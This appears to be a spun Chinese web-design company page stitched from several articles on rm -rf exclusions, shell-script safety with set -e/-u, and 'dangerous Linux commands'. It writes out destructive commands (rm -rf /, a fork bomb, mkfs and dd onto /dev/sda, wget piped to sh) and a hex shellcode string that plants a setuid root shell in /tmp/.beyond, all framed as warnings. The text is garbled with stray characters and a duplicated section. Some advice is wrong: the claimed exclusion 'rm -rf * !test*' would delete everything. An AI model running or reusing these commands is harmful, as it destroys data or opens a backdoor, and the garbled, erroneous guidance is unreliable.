新聞中心
Linux中執(zhí)行rm -rf時如何排除文件或目錄

在Linux中,rm命令是一種刪除文件和目錄的常用命令。使用rm命令可以徹底刪除文件和目錄,包括其所有子目錄和文件。但是,如果不小心執(zhí)行了rm -rf命令,會導致誤刪文件或目錄。因此,在刪除文件和目錄時,可以使用一些選項來排除不需要刪除的文件或目錄,避免誤刪。
本文將介紹在Linux中執(zhí)行rm -rf時如何排除文件或目錄的方法。
1. 使用通配符
通配符是一種可以匹配多個字符或目錄,將其作為參數(shù)傳遞給rm命令,可以實現(xiàn)排除不需要刪除的文件或目錄的效果。
比如,如果想要刪除當前目錄下所有文件,但是不刪除當前目錄中以“test”開頭的文件,可以使用*通配符和!排除符號,命令如下:
“`
rm -rf * !test*
“`
上述命令將刪除當前目錄下所有文件,但是不刪除以“test”開頭的文件。
2. 使用find命令
find命令可以在文件和目錄中查找文件,并執(zhí)行一些操作,例如刪除文件或目錄。通過在find命令中使用-exec選項,可以將刪除命令作為參數(shù)傳遞到find命令中,并在查找到的文件或目錄上執(zhí)行。
比如,如果想要刪除當前目錄下所有文件,但是不刪除當前目錄中以“test”開頭的文件,可以使用find命令,命令如下:
“`
find . -type f ! -name ‘test*’ -exec rm {} +
“`
上述命令將查找當前目錄中不以“test”開頭的所有文件,并刪除它們。
3. 使用rsync命令
rsync命令是一種用于同步文件和目錄的命令。與其他命令不同,rsync命令可以將文件和目錄從一個位置復制到另一個位置,并跳過指定的文件或目錄。
比如,如果想要刪除當前目錄下所有文件,但是不刪除當前目錄中以“test”開頭的文件,可以使用rsync命令,命令如下:
“`
rsync -av –exclude=’test*’ /path/to/source/* /path/to/destination/
“`
上述命令將復制當前目錄中不以“test”開頭的所有文件到目標文件夾,并且不會復制以“test”開頭的文件。
在Linux中,執(zhí)行rm命令時,可能會誤刪文件或目錄。為了避免這種情況,可以使用通配符、find命令或rsync命令來排除不需要刪除的文件或目錄。這些方法可以幫助用戶安全而高效地刪除文件或目錄,避免誤刪的情況。
成都網(wǎng)站建設公司-創(chuàng)新互聯(lián),建站經(jīng)驗豐富以策略為先導10多年以來專注數(shù)字化網(wǎng)站建設,提供企業(yè)網(wǎng)站建設,高端網(wǎng)站設計,響應式網(wǎng)站制作,設計師量身打造品牌風格,熱線:028-86922220Linux篇:從rm -rf 引發(fā)的腳本安全閑聊(set 命令)
上周剛經(jīng)歷了一個“刪庫跑路”的慘重事件,不知哪位無邪的童鞋把Confluence 的數(shù)據(jù)存儲目錄 /var 清空了,結果群眾的怒火燃燒上了天空
這次結合自己的一些思考來記錄一些有關腳本安全的點
先來看一個簡單攜侍的案例
在用戶主目錄下創(chuàng)建safe目錄及相關文件用于測試演示
假如寫一段腳本刪除safe目錄下所有文件:
這段是不是看起來沒有問題,但如果由于有些大心告隱弊臟的同學粗心,寫成下面這樣
最終,腳本都變成了rm -rf * ,可怕至極
其實在shell腳本當中,為了防止這種現(xiàn)象,我們可以借助set 命令來實現(xiàn)相關控制
關于set 命令有較多參數(shù),這里介紹最常用的幾個
我們以剛才圖4那段有問題的腳本說事
為保證不錯刪東西 ,我們加一個set -u 選項 ,判斷變量是否存在
我們執(zhí)行一下,看看效果
看,報錯啦,dir這個變量沒有聲明,ls 查看一下文件,發(fā)現(xiàn)都還存在
set -e 與set -u 通常搭配在一起使用
一個是遇到錯誤退出,一個是發(fā)現(xiàn)空變量報錯
這兩個搭配在一起放在腳本里可以防止一些變量為空導致文件全被清空的問題
拓展一下:
如果只想應用在腳本的某一段中,那么
開始段落前加set -e 表示范圍開始
結束段落后加 set +e 表示范圍結束
set -x 與set + x同襪族理。
1、刪文件其實不用rm -rf ,不是受迫性需要,不要使用rm -rf
2、修改、刪除系統(tǒng)文件或其他重要的東西,先備份一份
3、非特殊需要,不建議在root下操作,普通用戶即可
4、腳本加上set -e 與set -u保證安全
請教在linux 怎么用rm 刪除目錄和文件.不要提示
linux下使用rm刪除目錄文件時不用提示,可以使用rm -rf命令。
例如刪除test目錄,可以使用命令rm -rf test。
例如刪除test.txt文件,可以使用命令rm -rf test.text。
f參數(shù) (f –force ) 表示忽略不存在的文件,不顯示任何信息。
-r, -R, –recursive 好睜賀 指示rm將參數(shù)中列出的全部目錄和子目錄均遞歸地刪除友派。
擴展資料
linux下rm命令的參數(shù)介紹:
-f, –force 忽略不存在的文件,從不給出提示。
-i, –interactive 進行交互式刪除。
-r, -R, –recursive 指示rm將參數(shù)中列出的全部目錄和子目錄均遞歸地刪除。
-v, –verbose 詳細顯示進行的早廳步驟。
–help 顯示此幫助信息并退出。
–version 輸出版本信息并退出。
LINUX系統(tǒng)有哪些危險命令
1. Code:
rm -rf /
這個很簡單,根目錄會被擦光。
2. Code:
char esp __attribute__ ((section(”.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
沒看懂?呵呵,其實就是16進制的.
3. Code:
mkfs.ext3 /dev/sda
抹盤行為無疑是危險的。
4. Code:
:();:
這不是90后的表情,也不是托蒂射點球前的表滑坦情,它可以讓你的系統(tǒng)迅速因為處理大量數(shù)據(jù)而死機。用此條命令測試后無反應呢?
5. Code:
any_command > /dev/sda
這個命令將會寫入大量的RAW數(shù)據(jù),可以導致數(shù)據(jù)丟失。
執(zhí)行 ls > /dev/sda 后無法進入系統(tǒng),你可以試試哦
6. Code:
wget some_untrusted_source -O- | sh
和Windows一樣,千萬不要亂下載未經(jīng)證實安全性的源,這年頭Linux和胡蘿卜一樣,也不會保險。
7. Code:
mv /home/信扮桐yourhomedirectory/* /dev/null
這條命令無疑會讓系統(tǒng)抓狂,缺余你的主目錄會再也看不到。
這9個“非常危險”的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內(nèi)容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統(tǒng)崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經(jīng)過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執(zhí)行rm -rf命令時,一定要留心,可以在“.bashrc”文件對“rm”命令創(chuàng)建rm
-i的別名,來預防用‘rm’命令刪除文件時的事故。
2、:(){:|:&};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為’:’的函數(shù),它會調(diào)用自己兩次,一次在前臺另一次運行在后臺。它會反復的執(zhí)行下去直到系統(tǒng)崩潰。
3、命令 >/dev/sda
上列命令會將某個’命令’的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導致整個塊設備的數(shù)據(jù)丟失。
4、mv文件夾/dev/null
這個命令會移動某個’文件夾’到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數(shù)據(jù)都會被清除,然后返回寫操作成功。
5、wget
-O- | sh
上面這個洞春攜命令會從一個惡意源下載一個腳本并執(zhí)行。Wget命令會下載這個腳本,而sh會執(zhí)行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備’sda’,你無疑知道在執(zhí)行上列命令后你的塊設備會被格式化,嶄新的。沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達到不可恢復的階段。
7、> file
上面命令常用來清空森鄭文件內(nèi)容,如果用上列執(zhí)行時輸入錯誤或無知的納伏輸入類似“> xt.conf” 的命令會覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數(shù)據(jù)。當然,你的系統(tǒng)可能陷入混亂和不可恢復的狀態(tài)。
1. Code:
rm -rf /
這個很簡單,敬腔遲根目錄會被擦光。
2. Code:
char esp __attribute__ ((section(”.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
沒看懂?呵呵,其實就是亮李16進制的圓凳.
3. Code:
mkfs.ext3 /dev/sda
抹盤行為無疑是危險的。
linux rm rf 排除的介紹就聊到這里吧,感謝你花時間閱讀本站內(nèi)容,更多關于linux rm rf 排除,Linux中執(zhí)行rm rf時如何排除文件或目錄,Linux篇:從rm -rf 引發(fā)的腳本安全閑聊(set 命令),請教在linux 怎么用rm 刪除目錄和文件.不要提示,LINUX系統(tǒng)有哪些危險命令的信息別忘了在本站進行查找喔。
成都網(wǎng)站建設選創(chuàng)新互聯(lián)(?:028-86922220),專業(yè)從事成都網(wǎng)站制作設計,高端小程序APP定制開發(fā),成都網(wǎng)絡營銷推廣等一站式服務。
本文標題:Linux中執(zhí)行rmrf時如何排除文件或目錄(linuxrmrf排除)
URL網(wǎng)址:http://www.dlmjj.cn/article/cceghig.html


咨詢
建站咨詢
